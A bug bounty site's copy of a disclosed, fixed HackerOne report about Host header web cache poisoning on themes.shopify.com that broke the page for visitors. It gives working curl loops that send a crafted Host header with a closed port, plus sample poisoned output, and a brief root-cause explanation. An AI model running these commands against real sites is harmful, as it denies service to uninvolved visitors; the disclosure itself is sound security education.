Skip to content
Cache bugs Disclosed report Intermediate

https://themes.shopify.com::: Host header web cache poisoning lead to DoS

The site reflected an attacker-supplied Host header (including an arbitrary port) into cached pages, so a crafted request could poison the cache. Visitors then received pages whose canonical link and asset URLs pointed at a closed port, breaking images, CSS and links and causing a denial of service.

g4mm4 Follow

Originally disclosed on HackerOne

Bounty$2,900 Medium 4.6 View original
  • Triaged in 12 days
  • Fixed in 21 days
  • Paid in 19 days
  • Disclosed after 2 months

Hi there, I just found the website: https://themes.shopify.com is infected with "Web cache poisoning" via HOST header lead to Denial of Services Abuse this bug, Attacker can:

Poison your cache with HTTP header Host header with arbitrary PORT which is not opened. This attack may lead to Denial of Services

How to reproduce the issue: In the 1st terminal, run command likes this:

$ while true; do curl -ik "https://themes.shopify.com:443/?g4mm4=hitthecache" -H "Host: themes.shopify.com:1337"|grep ":1337"; sleep 0;echo 1; done

In the 2nd terminal, run command below for confirmation this attack is successful or not:

$ while true; do curl -ik "https://themes.shopify.com:443/"|grep ":1337"; done

and the output from command with be confirmed my Host header poisoning worked: $ while true; do curl -ik "https://themes.shopify.com:443/"|grep ":1337"; done % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 <link rel="canonical" href="https://themes.shopify.com:1337/"> <li><div class="popover-wrapper js-popover-dropdown popover-wrapper--dropdown" data-position="bottom" data-align="left"><button type="button" class="popover__trigger marketing-nav__item marketing-nav__item--primary" itemprop="name">Collections<svg class="icon marketing-nav__arrow" aria-hidden="true" focusable="false"> <use xlink:href="#modules-caret-down" /> </svg></button><div class="popover"><div class="popover__content"><ul class="popover__list"><li><a href="/collections/trending-themes" class="marketing-nav__item marketing-nav__item--child" itemprop="name" data-ga-event="Main Nav" data-ga-action="Clicked" data-ga-label="trending-themes">Trending this week </a></li><li><a href="/collections/product-recommendations" class="marketing-nav__item marketing-nav__item--child" itemprop="name" data-ga-e ........... +++

Finally, when user visits the homepage: https://themes.shopify.com, so many images, css, link will not be loaded (Because the port :1337 which appended themes.shopify.com:1337 is not opened Please see the attached image for details.

cheers, ~g4mm4 References: https://portswigger.net/research/web-cache-entanglement Denial of Services

Impact

Denial of Services

Attachments

PoC-Host-Header-cache-poisoned-DoS.png
PoC-Host-Header-cache-poisoned-DoS.png From the original on HackerOne

The original report as published on HackerOne, by g4mm4. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application used the untrusted Host header to build absolute URLs in the page and the response was cached without the Host header being part of the cache key.

Impact

Visitors to the homepage could receive a cached page whose images, CSS and links point to a closed port, so resources fail to load, causing a denial of service.

What the attacker needed

No account needed; attacker can send crafted Host headers; cache stores the poisoned response

How it was found

  1. Send repeated requests to the homepage with a cache-busting query parameter and a Host header containing a closed port.
  2. Check the homepage without the crafted header and look for the injected port in the response.
  3. Observe the poisoned page being served from cache with the port in the canonical link.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web cache stores copies of pages so they load faster for everyone. This site built page links using the Host header, which tells the server which site name was requested, and it saved that version in the cache. By sending a request with a fake port in the Host header, the attacker made the cached page point to a port that is not open, so later visitors got a broken page.

What is Cache bugs?

A cache and the origin disagree about a request, so a poisoned response is served to everyone or a private page is stored as public.

More by g4mm4

View all

2 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Web cache poisoning and deception

The lesson behind this report.

A cache and the origin disagree about a request, so a poisoned response is served to everyone or a private page is stored as public.